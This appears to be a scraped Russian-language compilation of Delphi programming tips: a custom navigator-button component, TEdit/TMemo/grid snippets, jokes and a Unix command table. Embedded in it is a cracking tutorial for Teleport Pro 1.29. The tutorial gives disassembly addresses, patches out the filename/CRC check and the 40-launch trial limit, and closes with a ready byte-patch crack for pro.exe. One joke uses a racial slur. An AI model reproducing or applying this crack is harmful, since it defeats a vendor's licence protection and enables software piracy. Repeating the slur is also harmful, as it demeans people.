if Assigned(FOldOnGlyphChanged) then FOldOnGlyphChanged(Sender);
end;
function TDBNavigationButton.StoreGlyph: Boolean;
begin { store only user-defined glyph: }
result := (FDBNavigationButtonType = nbCustom) or FCustomGlyph;
end;
procedure TDBNavigationButton.LoadGlyph;
var
{$IFNDEF WIN32}
Buffer: array[0..79] of Char;
{$ENDIF NDEF WIN32}
ResName: string;
begin
if (FDBNavigationButtonType = nbCustom) then
exit;
try
{ Load the Bitmap that DBNavigator would load: }
FmtStr(ResName, 'dbn_%s', [BtnTypeName[FDBNavigationButtonType]]);
{$IFDEF WIN32}
Glyph.Handle := LoadBitmap(HInstance, PChar(ResName));
{$ELSE DEF WIN32}
{ Glyph.Assign(nil); { clear }
Glyph.Handle := LoadBitmap(HInstance, StrPCopy(Buffer, ResName));
{$ENDIF DEF WIN32}
NumGlyphs := 2;
FCustomGlyph := false;
except
{ error: do nothing }
end;
end;
procedure TDBNavigationButton.CalcDisableReasons;
begin
case FDBNavigationButtonType of
nbPrior: FDisableReasons := [drBOF, drEditing, drEmpty];
nbNext: FDisableReasons := [drEOF, drEditing, drEmpty];
nbFirst: FDisableReasons := [drBOF, drEditing, drEmpty];
nbLast: FDisableReasons := [drEOF, drEditing, drEmpty];
nbInsert: FDisableReasons := [drReadonly, drEditing];
nbEdit: FDisableReasons := [drReadonly, drEditing, drEmpty];
nbCancel: FDisableReasons := [drNotEditing];
nbPost: FDisableReasons := [drNotEditing];
nbRefresh: FDisableReasons := [drEditing];
nbDelete: FDisableReasons := [drReadonly, drEditing, drEmpty];
end;
end;
function TDBNavigationButton.NumberOfStandardComponentName: Integer;
function NumberOfName(const TestName: String): Integer;
begin
if (Length(Name) > Length(TestName)) and
(Copy(Name, 1, Length(TestName)) = TestName) then
begin
try
result := StrToInt(Copy(Name, Length(TestName) + 1, 255));
except
result := 0;
end;
end
else
result := 0;
end; { function NumberOfName }
begin { TDBNavigationButton.NumberOfStandardComponentName }
result := NumberOfName(StandardComponentName);
if (result = 0) then
result := NumberOfName(CtrlNamePrefix + BtnName[FDBNavigationButtonType]);
end;
function TDBNavigationButton.HasStandardComponentName: Boolean;
function HasName(const TestName: String): Boolean;
begin
if (Length(Name) > Length(TestName)) and
(Copy(Name, 1, Length(TestName)) = TestName) then
begin
try
result := (StrToInt(Copy(Name, Length(TestName) + 1, 255)) > 0);
except
result := false;
end;
end
else
result := (Name = TestName);
end; { function HasName }
begin
result :=
HasName(StandardComponentName) or
HasName(CtrlNamePrefix + BtnName[FDBNavigationButtonType]);
end;
procedure TDBNavigationButton.SetDBNavigationButtonType(
Value: TDBNavigationButtonType);
const
TooMuch_SomethingIsWrong = 33;
var
NewName: string;
Number: Integer;
begin
if (Value = FDBNavigationButtonType) then
exit;
if (csLoading in ComponentState) then
begin
FDBNavigationButtonType := Value;
CalcDisableReasons;
exit;
end;
Enabled := True;
Spacing := -1;
if (Value = nbCustom) then
FCustomGlyph := true
else
if (FDBNavigationButtonType = nbCustom) or
(Caption = BtnName[FDBNavigationButtonType]) then
{ Change caption if it was created automatically: }
Caption := BtnName[Value];
try { ... to change the name of the component: }
if (csDesigning in ComponentState) and
HasStandardComponentName then
begin
if (Value = nbCustom) then
NewName := StandardComponentName
else
NewName := CtrlNamePrefix + BtnName[Value];
if (Owner <> nil) and (Owner.FindComponent(NewName) <> nil) then
begin
Number := NumberOfStandardComponentName;
if (Number = 0) then
Number := 1;
repeat
if (Value = nbCustom) then
NewName := StandardComponentName + IntToStr(Number)
else
NewName := CtrlNamePrefix + BtnName[Value] + IntToStr(Number);
Inc(Number);
until (Owner.FindComponent(NewName) = nil) or
(Number = TooMuch_SomethingIsWrong);
end;
Name := NewName;
end;
except
{ don't change name if error occured }
end;
Enabled := False;
Enabled := True;
FDBNavigationButtonType := Value;
LoadGlyph;
CalcDisableReasons;
end;
procedure TDBNavigationButton.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited Notification(AComponent, Operation);
if (Operation = opRemove) and (FDataLink <> nil) and
(AComponent = DataSource) then DataSource := nil;
end;
procedure TDBNavigationButton.DoAction;
var
Cancel: Boolean;
begin
if (not (csDesigning in ComponentState)) and
Assigned(FOnBeforeAction) then
begin
Cancel := (FDBNavigationButtonType = nbCustom);
FOnBeforeAction(self, Cancel);
if Cancel then
exit;
end;
if (DataSource <> nil) and (DataSource.State <> dsInactive) then
begin
with DataSource.DataSet do
begin
case FDBNavigationButtonType of
nbPrior: Prior;
nbNext: Next;
nbFirst: First;
nbLast: Last;
nbInsert: Insert;
nbEdit: Edit;
nbCancel: Cancel;
nbPost: Post;
nbRefresh: Refresh;
nbDelete:
{if not FConfirmDelete or
(MessageDlg(LoadStr(SDeleteRecordQuestion), mtConfirmation,
mbOKCancel, 0) <> idCancel) then Delete;}
end;
end;
end;
end;
procedure TDBNavigationButton.Click;
begin
inherited Click;
DoAction;
end;
procedure TDBNavigationButton.UpdateEnabled;
var
PossibleDisableReasons: TDbNBDisableReasons;
begin
if (csDesigning in ComponentState) then
exit;
if (csDestroying in ComponentState) then
exit;
if not FButtonEnabled then
exit;
if FDataLink.Active then
begin
PossibleDisableReasons := [];
if FDataLink.DataSet.BOF then
Include(PossibleDisableReasons, drBOF);
if FDataLink.DataSet.EOF then
Include(PossibleDisableReasons, drEOF);
if not FDataLink.DataSet.CanModify then
Include(PossibleDisableReasons, drReadonly);
if FDataLink.DataSet.BOF and FDataLink.DataSet.EOF then
Include(PossibleDisableReasons, drEmpty);
if FDataLink.Editing then
Include(PossibleDisableReasons, drEditing)
else
Include(PossibleDisableReasons, drNotEditing);
end
else
PossibleDisableReasons := [drBOF, drEOF, drReadonly, drNotEditing, drEmpty];
Enabled := (FDisableReasons * PossibleDisableReasons = []);
FButtonEnabled := true;
end;
procedure TDBNavigationButton.DataChanged;
begin
UpdateEnabled;
end;
procedure TDBNavigationButton.EditingChanged;
begin
UpdateEnabled;
end;
procedure TDBNavigationButton.ActiveChanged;
begin
if not (csDesigning in ComponentState) then
begin
UpdateEnabled; { DataChanged; EditingChanged; }
end;
end;
procedure TDBNavigationButton.CMEnabledChanged(var Message: TMessage);
begin
inherited;
if (not (csLoading in ComponentState)) and
(not (csDestroying in ComponentState)) then
begin
FButtonEnabled := Enabled;
ActiveChanged;
end;
end;
procedure TDBNavigationButton.SetDataSource(Value: TDataSource);
begin
FDataLink.DataSource := Value;
if not (csLoading in ComponentState) then
ActiveChanged;
{$IFDEF WIN32}
if Value <> nil then Value.FreeNotification(Self);
{$ENDIF DEF WIN32}
end;
function TDBNavigationButton.GetDataSource: TDataSource;
begin
Result := FDataLink.DataSource;
end;
procedure TDBNavigationButton.ReadButtonEnabled(Reader: TReader);
begin
FButtonEnabled := Reader.ReadBoolean;
end;
procedure TDBNavigationButton.WriteButtonEnabled(Writer: TWriter);
begin
Writer.WriteBoolean(FButtonEnabled);
end;
procedure TDBNavigationButton.DefineProperties(Filer: TFiler);
begin
inherited DefineProperties(Filer);
Filer.DefineProperty('RuntimeEnabled', ReadButtonEnabled, WriteButtonEnabled, true);
end;
procedure TDBNavigationButton.Loaded;
begin
inherited Loaded;
if Glyph.Empty then { no user-defined glyph: }
LoadGlyph; { load standard glyph }
Enabled := FButtonEnabled; {}
ActiveChanged;
end;
procedure Register;
begin
RegisterComponents(RegisterPanel, [TDBNavigationButton]);
end;
end.
|
Изменить иконки для TDBNavigator.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure ChangeDBNavImage(DBnav: TDbNavigator);
var
i: Integer;
tempGlyph: TBitmap;
ExePath: string;
begin
ExePath := ExtractFilePath(Application.ExeName);
tempGlyph := TBitmap.Create;
try
with DBNav do
begin
for i := 0 to ControlCount - 1 do
begin
if Controls[i].ClassName = 'TNavButton' then
begin
case TNavButton(Controls[i]).Index of
nbFirst: tempGlyph.LoadFromFile(ExePath + 'first.bmp');
nbPrior: tempGlyph.LoadFromFile(ExePath + 'previous.bmp');
nbNext: tempGlyph.LoadFromFile(ExePath + 'Next.bmp');
nbLast: tempGlyph.LoadFromFile(ExePath + 'Last.bmp');
nbInsert: tempGlyph.LoadFromFile(ExePath + 'Insert.bmp');
nbDelete: tempGlyph.LoadFromFile(ExePath + 'Delete.bmp');
nbEdit: tempGlyph.LoadFromFile(ExePath + 'Edit.bmp');
nbPost: tempGlyph.LoadFromFile(ExePath + 'Post.bmp');
nbCancel: tempGlyph.LoadFromFile(ExePath + 'Cancel.bmp');
nbRefresh: tempGlyph.LoadFromFile(ExePath + 'Refresh.bmp');
end;
TNavButton(Controls[i]).Glyph := tempGlyph;
end;
end;
end;
finally
tempGlyph.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ChangeDBNavImage(DBNavigator1);
end;
Изменить подсказку для каждой кнопки TDBNavigator.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
*** Changing the TDBNavigator Buttons Hints *** The buttons hints are english but sometimes would be better for local use in other language. The possibility to change this hints is in principle given (Hints property) but after changing the texts the compiled hints remain the original. The solution is simple: you have to use the LoadFromFile method to load data from a file at run time. In this case the dbnButtonHints.txt file is the the same directory as the compiled file. The dbnButtonHints.txt file must contain all the 10 hints for the buttons (nbFirst, nbPrior, nbNext, nbLast, nbInsert, nbDelete, nbEdit, nbPost, nbCancel, nbRefresh) independently from the number of the visible buttons. *** Vегдndегиng der Hilfetexte von TDBNavigator-Кnцрfе *** Die Кnцрfе haben englische Hilfetexte, die soll man manchmal auf andere Sprache umstellen. Die Мцg1iсhкеit ist prinzipiell gegeben (Hints-Eigenschaft), aber die compiled Hilfetexte bleiben иnvегдndегt englisch anstelle der ььегsеtztеn Version. Die Lцsиng ist einfach: man mиЯ das LoadFromFile-Verfahren benutzen, um die Hilfetext-Daten in Echtzeit aus einer Textdatei einzulesen. Diese datei soll sich in gleichen Directory befinden wie die compiled Datei. Die dbnButtonHints.txt-Hilfetext-Datei soll jederzeit alle 10 Hilfetexteintragen enthalten, иnаьhдngig von Anzahl der eben sichtbaren Dгисккnцрfе. Und 1диft...
type
dbnNavigator: TDBNavigator;
procedure TfrmDataInput.FormCreate(Sender: TObject);
begin
dbnNavigator.Hints.LoadFromFile('dbnButtonHints.txt');
end;
Заголовок TDBGrid в две строки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TAccessDBGrid = class(TDBGrid);
procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;
const Rect: TRect; DataCol: Integer; Column: TColumn;
State: TGridDrawState);
var
S1, S2: String;
begin
with TAccessDBGrid(DBGrid1) do
begin
// Increase title height
// Titelhohe vergrossern
RowHeights[0] := 32;
Canvas.Brush.Style := bsClear;
// Column Titles
// Spalten Titel setzen
case Column.Index of
0: begin
Column.Title.Caption := '';
S1 := 'Row 1';
S2 := 'Row 2';
end;
1: begin
Column.Title.Caption := '';
S1 := 'Row 1';
S2 := 'Row 2';
end;
end;
// write title:
// Titel ausgeben:
Canvas.TextOut(Rect.Left+2, 2, S1);
Canvas.TextOut(Rect.Left+2, 16, S2);
end;
end;
TDirectoryOutline. Ошибка в свойстве Directory.
Автор: Коробенков Владимир.
При присвоении свойству TDirectoryOutline.Directory строки, являющейся действительным файловым путем, компонент должен отобразить этот путь раскрытием соответствующей ветви дерева директорий (вызывая защищенный метод WalkTree(). Из-за ошибки в методе SetDirectory WalkTree не вызывается. Ошибка выявлена в Delphi 5, не исправлена и в Delphi 6.
ТИПОВЫЕ РЕШЕНИЯ. В методе SetDirectory модуля DirOutln.pas строкуif Copy(FDirectory, Length(FDirectory) - 1, 2) = ':\' then WalkTree(TempPath);заменить на
if Copy(FDirectory, Length(FDirectory) - 1, 2) <> ':\' then WalkTree(TempPath);и перекомпилировать модуль. Просто не использовать этот компонент. КОММЕНТАРИЙ: Проверено (Delphi 5). Ошибка реально существует. По-видимому, этот код не изменялся от самых ранних версий. Малоизвестный компонент TDirectoryOutline находится на странице Samples палитры компонентов. Это простой и вполне приличный способ получить визуальное дерево директорий. Он построен на основе TCustomGrid->TCustomOutline, а не на базе стандартного Win32-контрола TreeView, и потому лишен присущих ему ограничений и недостатков.
Модификация исходников, не входящих, строго говоря, в VCL, - не есть большая беда. Как вариант, можно предложить в подобных случаях держать модифицированную копию модуля у себя в проекте.
Пример TDrawGrid Drawcell.
Автор: Neil
procedure TForm1.DrawGrid1DrawCell(Sender: TObject; Col, Row: Longint;
Rect: TRect; State: TGridDrawState);
var
vRow, vCol: LongInt;
begin
vRow := Row;
vCol := Col;
with Sender as TDrawGrid, Canvas do
begin
if (vRow = 0) or (vCol = 0) then
Font.Color := clBlack
else
Font.Color := clRed;
TextRect(Rect, Rect.Left, Rect.Top, Format('(%d,%d)', [vRow, vCol]));
end;
end;
|
TDropper - Компонент для перетаскивания файлов.
Автор: Матвеев Игорь.
Все наверное знают, что существует такая технология обмена данными как Drag&Drop (переводится как "Перетащи и брось"). Суть в том, что пользователь может перетаскивать какие-то данные (например файлы) из одной программы в другую.
Например, в проводнике Windows файла и группы файлов можно перетаскивать между разными экземплярами проводника. В результате файл или группа файлов просто копируется в место назначения, а исходные данные - удаляются.
Такая архитектура обмена данными позволяет значительно упростить работу конечного пользователя. Например в архиваторе файлов WinRar встроены возможности не только принимать файлы, перетащенные в окно программы, и упаковывать их в текущий архив, но и перетаскивать файлы из архива, извлекая их в место назначения. Эти возможности приближают работу с архивами в WinRar к работе с обычными файлами в проводнике.
Принимать файлы легко - это сделать можно средствами API и ShellAPI, а вот как сделать, чтобы файлы можно было таскать из вашего приложения? Я думал над этим вопросом еще год назад и думал что это будет легко, а недавно мне это было просто необходимо для моего архиватора файлов.
В итоге решение было найдено - создан компонент TDropper, который позволяет внедрять в ваши проекты возможность перетаскивания файлов из окна вашей программы в окно проводника Windows или другой программы.
Загрузить компонент.
Работа с компонентом очень проста, вы должны установить свойство Enabled в True и в нужное время (в момент начала перетаскивания) вызвать метод TDropper.StartDrag. При этом курсор мыши меняется на стрелочку с плюсиком. А когда пользователь отпускает клавишу мыши вызывается событие TDropper.OnDropUp, в нем вы должны вписать в список Files имена файлов для перетаскивания.
Примечание: При работе из под Delphi, при перетаскивании могут возникнуть ошибки, которые ловятся Delphi, но в итоговом приложении они не обнаруживаются.
Компонент свободен для коммерческого и некоммерческого использования, а с предложениями и пожеланиями - пишите.
Компонент TEdit с возможностью задать выравнивание текста.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Dazu mьssеn die CreateParams von der Klasse TEdit ььегsсhгiеьеn werden.
Folgende Unit kann als Komponente installiert werden.
All you have to do is to verride the CreateParams of the class TEdit.
Install the following unit as a component.
}
unit AlignEdit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TAlign = (eaLeft, eaCenter, eaRight);
TAlignEdit = class(TEdit)
private
{ Private-Deklarationen }
FAlign: TAlign;
procedure SetAlign(const Value: TAlign);
protected
{ Protected-Deklarationen }
procedure CreateParams(var Params: TCreateParams); override;
public
{ Public-Deklarationen }
constructor Create(AOwner: TComponent); override;
published
{ Published-Deklarationen }
property Alignment: TAlign read FAlign write SetAlign default eaLeft;
end;
procedure Register;
implementation
constructor TAlignEdit.Create(Aowner: TComponent);
begin
inherited Create(AOwner);
FAlign := eaLeft;
end;
procedure TAlignEdit.SetAlign(const Value: TAlign);
begin
if FAlign <> Value then
begin
FAlign := Value;
RecreateWnd;
end;
end;
procedure TAlignEdit.CreateParams(var Params: TCreateParams);
begin
inherited;
case FAlign of
eaLeft: Params.Style := Params.Style or ES_LEFT;
eaCenter: Params.Style := Params.Style or ES_CENTER;
eaRight: Params.Style := Params.Style or ES_RIGHT;
end;
end;
procedure Register;
begin
RegisterComponents('SwissDelphiCenter', [TAlignEdit]);
end;
end.
TEdit с выравниваением текста по центру.
| Президент Клинтон с целью увеличить общий интерес к наукам и техническим новшествам, пригласил несколько крупных компьютерных компаний участвовать в крупном издательском Мультимедиа-проекте с общей темой "Слоны". Названия частей проекта, сделанных соответственно компаниями: Арр1е: "Дружественные к пользователям Слоны и их подруга Мышь". IВМ: "Как продать Слона тому, кто хочет купить Беговую Лошадь". Nоvе11: "Соединяя Слонов". Вог1аnd: "Все Слоны должны стоить $99". NеХТ: "Красим Слона в черный цвет". Мiсгоsоft: "Почему Вы должны купить Мiсгоsоft Windоws". |
Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Alignment := taCenter;
Memo1.MaxLength := 24;
Memo1.WantReturns := false;
Memo1.WordWrap := false;
end;
procedure MultiLineMemoToSingleLine(Memo: TMemo);
var
t: string;
begin
t := Memo.Text;
if Pos(#13, t) > 0 then
begin
while Pos(#13, t) > 0 do
delete(t, Pos(#13, t), 1);
while Pos(#10, t) > 0 do
delete(t, Pos(#10, t), 1);
Memo.Text := t;
end;
end;
procedure TForm1.Memo1Change(Sender: TObject);
begin
MultiLineMemoToSingleLine(Memo1);
end;
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
MultiLineMemoToSingleLine(Memo1);
end;
|
Поиск и управление TEdit и TField.
| Автор: Robert Wittig |
| Компания Microsoft благодарит Вас за покупку операционнй системы Microsoft ScanDisk. |
Как насчет этого? Представляю вашему вниманию два метода. Первый метод задает цвет каждому DBEdit, имеющему требуемое поле. Второй метод (более сложный) задает цвет каждому БД-компоненту, имеющему необходимое поле.
procedure TForm3.Button3Click(Sender: TObject);
var
Control: Integer;
begin
for Control := 0 to ControlCount - 1 do
if Controls[Control] is TDBEdit then
with TDBEdit(Controls[Control]) do
if DataSource.DataSet.FieldByName(DataField).Required then
Color := clRed;
end;
{ Данный метод будет работать только в случае, если
БД-компонент обладает тремя полями: DataSource, типа
TDataSource, DataField, типа String, и Color, типа
TColor (это не должно быть проблемой). Также вам
необходимо включить TypInfo в список используемых
модулей }
procedure TForm3.Button4Click(Sender: TObject);
var
Control: Integer;
DataSource: TDataSource;
DataField: string;
function GetDataSource(Instance: TComponent): Boolean;
var
PropInfo: PPropInfo;
begin
Result := False;
PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'DataSource');
if (PropInfo <> nil) and
(PropInfo^.PropType^.Kind = tkClass) then
begin
DataSource := TDataSource(TypInfo.GetOrdProp(Instance, PropInfo));
Result := DataSource <> nil;
end;
end;
function GetDataField(Instance: TComponent): Boolean;
var
PropInfo: PPropInfo;
begin
Result := False;
PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'DataField');
if (PropInfo <> nil) and
(PropInfo^.PropType^.Kind = tkString) then
begin
DataField := TypInfo.GetStrProp(Instance, PropInfo);
Result := True;
end;
end;
procedure SetColor(Instance: TComponent; Color: TColor);
var
PropInfo: PPropInfo;
begin
PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'Color');
if (PropInfo <> nil) and
(PropInfo^.PropType^.Kind = tkInteger) then
TypInfo.SetOrdProp(Instance, PropInfo, Ord(Color));
end;
begin
for Control := 0 to ControlCount - 1 do
if GetDataSource(Controls[Control]) and
GetDataField(Controls[Control]) and
(DataSource.DataSet <> nil) and
DataSource.DataSet.FieldByName(DataField).Required then
SetColor(Controls[Control], clRed);
end;
|
Как создать нестандартную процедуру переноса слов для TEdit, TMemo.
| Негр играет в шахматы с компьютером и получает мат на 15 ходу. В сердцах бьет по клавиатуре: - Проклятый виндоуз, опять глючит. |
В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что реализованная процедура просто всегда разрешает перенос. Для дополнительной информации см.таже документацию к сообщению EM_SETWORDBREAKPROC.
var
OriginalWordBreakProc: pointer;
NewWordBreakProc: pointer;
function MyWordBreakProc(LPTSTR: pchar;
ichCurrent: integer;
cch: integer;
code: integer): integer
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
result := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OriginalWordBreakProc := Pointer(
SendMessage(Memo1.Handle,
EM_GETWORDBREAKPROC,
0,
0));
{$IFDEF WIN32}
NewWordBreakProc := @MyWordBreakProc;
{$ELSE}
NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
hInstance);
{$ENDIF}
SendMessage(Memo1.Handle,
EM_SETWORDBREAKPROC,
0,
longint(NewWordBreakProc));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
SendMessage(Memo1.Handle,
EM_SETWORDBREAKPROC,
0,
longint(@OriginalWordBreakProc));
{$IFNDEF WIN32}
FreeProcInstance(NewWordBreakProc);
{$ENDIF}
end;
|
Teleport Pro Version 1.29.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Я вот решил поисследовать что-нибудь известное, и наткнулся на этот замечательный продукт, который способен закачивать целиком целые сервера, причем делает он это с огромным количеством настроек. Вобщем неплохая вещь. И как мне и нужно было, эта прога имеет ограничение в использовании (её можно запускать только 40 раз), регистрация, как мне показалось, не оказалась сложноватой, и я решил покракать её.
Я запустил программу и очень удивился, когда не увидел ни одного наг-окна или ещё чего-нибудь. Я изменил пару байтиков в программе, чтобы проверить программу на присутствие CRC проверки и оказалось, что она есть!!! Выскочил messageboxA с надписью "This programm was alterd!" или около того, вобщем я открыл WDasm и дизассемблировал pro.exe, затем открыл String Reference и начал искать подозрительные строки и вот я натолкнулся на строку "This program's name has been changed" , я поменял имя программы с "pro.exe" на "pro-test.exe" и запустил программу, при этом выскочило сообщение с той самой строкой о неправильном имени! Я нажал на эту строку в WDasm'e и увидел вот что:
* Possible String Data Reffrom Data Obj - >" This program's name has been changed;"
- >" please rename the program to its"
- >" original name."
|
:0040B87F 6878C74700 push 0047C778
:0040B884 E8A1FF0300 call 0044B82A
:0040B889 6A02 push 00000002
:0040B88B E8BD240200 call 0042DD4D
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040B860(C), :0040B87B(C)
|
* Possible String Data Reffrom Data Obj - >" q#P "
|
:0040B890 A110C74700 mov eax, dword ptr [0047C710]
:0040B895 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0040B898 57 push edi
:0040B899 8B7804 mov edi, dword ptr [eax+04]
:0040B89C 8B45E8 mov eax, dword ptr [ebp-18]
:0040B89F 2BC1 sub eax, ecx
:0040B8A1 3BF8 cmp edi, eax
:0040B8A3 7322 jnb 0040B8C7
:0040B8A5 2BC7 sub eax, edi
:0040B8A7 83E808 sub eax, 00000008
Я проскролил окно листинга до места входа в эту функцию: * Referenced by a CALL at Address: |:00415298 ;отсюда вызывается процедура | :0040B82F B818074600 mov eax, 00460718 :0040B834 E8BF0B0200 call 0042C3F8 :0040B839 83EC10 sub esp, 00000010 :0040B83C 53 push ebx :0040B83D 33DB xor ebx, ebx :0040B83F 56 push esi :0040B840 53 push ebx :0040B841 6A20 push 00000020 :0040B843 53 push ebx :0040B844 8D4DE4 lea ecx, dword ptr [ebp-1C] :0040B847 E8A665FFFF call 00401DF2 :0040B84C FF35185A4800 push dword ptr [00485A18] :0040B852 8D4DE4 lea ecx, dword ptr [ebp-1C] :0040B855 895DFC mov dword ptr [ebp-04], ebx :0040B858 E8AD000000 call 0040B90A :0040B85D 395D08 cmp dword ptr [ebp+08], ebx :0040B860 742E je 0040B890 :0040B862 FF7508 push [ebp+08] :0040B865 FF35185A4800 push dword ptr [00485A18] :0040B86B E89CF6FFFF call 0040AF0C :0040B870 59 pop ecx :0040B871 50 push eaxЯ перешел по адресу 00415298 (Shift-F12), по которому и происходил вызов процедуры проверки правильного имени файла, и увидел вот что:
:0041528B 83EC40 sub esp, 00000040 :0041528E 53 push ebx :0041528F 56 push esi :00415290 57 push edi :00415291 8BF1 mov esi, ecx * Possible String Data Reffrom Data Obj - >" pro.exe" | :00415293 687CDB4700 push 0047DB7C :00415298 E89265FFFF call 0040B82F ;(*)вызов процедуры проверки :0041529D 8BCE mov ecx, esi * Possible String Data Reffrom Data Obj - >" Tennyson Maxwell" | :0041529F C70424B8D84700 mov dword ptr [esp], 0047D8B8 :004152A6 E87E5B0400 call 0045AE29 * Possible String Data Reffrom Data Obj - >" Teleport Pro" | :004152AB 684CD84700 push 0047D84C :004152B0 8D8E6D050000 lea ecx, dword ptr [esi+0000056D] :004152B6 E83FCDFEFF call 00401FFA :004152BB FF35185A4800 push dword ptr [00485A18] :004152C1 8BCE mov ecx, esi.
Как видите, по адресу :00415298 происходит вызов процедуры проверки. Чтобы проверки не было - достаточно забить nор'ами вызов этой процеддуры. Для этого открываем hex-editor, идём по указанному адресу и меняем "E89265FFFF" на "9090909090" - теперь можно менять имя файла на любое другое :) Но как оказалось в этой же функции происходит ПРОВЕРКА НА ИЗМЕНЕНИЯ В ИСПОЛНЯЕМОМ файле (то есть CRC проверка) - Что ОООЧЕНЬ ГЛУПО! Таким образом убрав эту проверку мы тем самым убрали и проверку CRC - теперь можно править файл pro.exe как душе угодно!
Теперь я запустил 40 раз программу, чтобы исчерпать все пробные запуски и после попытки закачать что-дибо увидел сообщение о том, что все 40 раз вышли! Я опять открыл String Reference и нашел нужную строку два раза вот тут:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041DA22(C)
|
:0041DA61 A1F8204800 mov eax, dword ptr [004820F8]
:0041DA66 3898DD040000 cmp byte ptr [eax+000004DD], bl
:0041DA6C 743D je 0041DAAB ; тут проверяют - истёк ли триал на 40 запусков
; или нет и если не истек - прыгаем!
:0041DA6E A184E44700 mov eax, dword ptr [0047E484]
:0041DA73 8945EC mov dword ptr [ebp-14], eax
* Possible Reference to String Resource ID= 070 58 : "Sorry! The free evaluation period fo..."
|
:0041DA76 68921B0000 push 00001B92
:0041DA7B 8D4DEC lea ecx, dword ptr [ebp-14]
:0041DA7E C745FC04000000 mov [ebp-04], 00000004
:0041DA85 E85B730200 call 00444DE5
:0041DA8A 53 push ebx
:0041DA8B 57 push edi
:0041DA8C 57 push edi
:0041DA8D C745FC05000000 mov [ebp-04], 00000005
:0041DA94 FF75EC push [ebp-14]
:0041DA97 E8BD8EFFFF call 00416959
:0041DA9C 83C410 add esp, 00000010
:0041DA9F 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:0041DAA3 8D4DEC lea ecx, dword ptr [ebp-14]
:0041DAA6 E9BF000000 jmp 0041DB6A.
Как видим, по адресу 0041DA6C, нужно заменить je 0041DAAB на jmp 0041DAAB и теперь мерзких сообщений мы не увидим и всё будет работать как надо!
Но строка о незарегестрированности находится два раза в String Reference первый раз мы уже разобрали, а второй вот:
:00412D52 B814124600 mov eax, 00461214
:00412D57 E89C960100 call 0042C3F8
:00412D5C 83EC6C sub esp, 0000006C
:00412D5F 53 push ebx
:00412D60 56 push esi
:00412D61 57 push edi
:00412D62 8BF9 mov edi, ecx
:00412D64 8D4D88 lea ecx, dword ptr [ebp-78]
:00412D67 E876300000 call 00415DE2
:00412D6C 8B7508 mov esi, dword ptr [ebp+08]
:00412D6F 33DB xor ebx, ebx
:00412D71 395D0C cmp dword ptr [ebp+0C], ebx
:00412D74 895DFC mov dword ptr [ebp-04], ebx
:00412D77 7434 je 00412DAD ; здесь проверка нужно ли окно "О программе"
; при запуске, если вышли 40 тестовых запуска.
; Если не нужно - прыгаем!
:00412D79 A184E44700 mov eax, dword ptr [0047E484]
:00412D7E 89450C mov dword ptr [ebp+0C], eax
* Possible Reference to String Resource ID=070 58 : "Sorry! The free evaluation period for..."
|
:00412D81 68921B0000 push 00001B92
:00412D86 8D4D0C lea ecx, dword ptr [ebp+0C]
:00412D89 C645FC01 mov [ebp-04], 01
:00412D8D E853200300 call 00444DE5
:00412D92 8D450C lea eax, dword ptr [ebp+0C]
:00412D95 8D4DF0 lea ecx, dword ptr [ebp-10].
Как вы уже догадались, по адресу 00412D77, нужно чтобы мы всегда прыгали, поэтому меняем je 00412DAD на jmp 00412DAD и при запуске никаких напоминаний не будет!
Ну а для самых ленивых готовый крак: --------вырезать тут------ TeleportPro v1.29 Crack by vallkor//PTDS (vallkor@chat.ru) removes all limits :) pro.exe 00015298: E8 90 00015299: 92 90 0001529A: 65 90 0001529B: FF 90 0001529C: FF 90 0001DA6C: 74 EB 00012D77: 74 EB --------вырезать тут------
PS: статья написана только в образовательных целях, чтобы показать компаниям на возможные дыры в защите своих продуктов! Если вам понравилась описанная программа - вы обязаны купить её!!!
Исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru) {Комманда PTDS нуждается в новых членах! Если вы считаете, что способны на многое и хотите поделиться своими знаниями и взамен получить новые пишите мне}.
Команды Telnet.
Оформил: DeeCo
| создание файлового архива | tar, cpio |
| архивация файла | compress, pack |
| замер времени исполнения команды | time, timex |
| запуск программы в указанное время | at |
| вывод файла на экран | cat, page, dtpad, textedit. xedit |
| постраничный вывод файла на экран | more |
| вывод на экран первых десяти строк файла | head |
| вывод на экран последних десяти строк файла | tail |
| вывод содержимого заархивированного файла | peat |
| выполнение вычислений | be, dc |
| вывод даты и времени | date |
| изменение даты модификации файла на текущую | touch |
| деархивация файла | unpack, uncompress |
| декодирование UU-кода | uudecode |
| вывод объема свободного дискового пространства | df |
| вывод объема дискового пространства, | |
| занятого данным каталогом | du |
| завершение работы | exit |
| печать заголовка | banner |
| захват изображения на экране | xv, xwd |
| печать изображений | xdpr, xpr |
| вывод имени системы | uname |
| запуск интерпретатора командной строки | sh, csh, ksh |
| запуск интерпретатора командной строки на удаленной системе | rsh |
| личный календарь | cm, dtcm |
| вывод календаря | cal, cm, dtcm |
| калькулятор | calctool, dtcalc, xcalc |
| создание каталога | mkdir, filemgr dtfile |
| вывод размера каталога | du |
| вывод списка файлов и подкаталогов данного каталога | Is |
| смена текущего каталога | cd |
| удаление каталога | rmdir, filemgr, dtfile |
| вывод имени текущего каталога | pwd |
| сравнение содержимого двух каталогов | dircmp |
| UU-кодирование файла для пересылки его по электронной почте | uuencode |
| выполнение команды в указанное время | at |
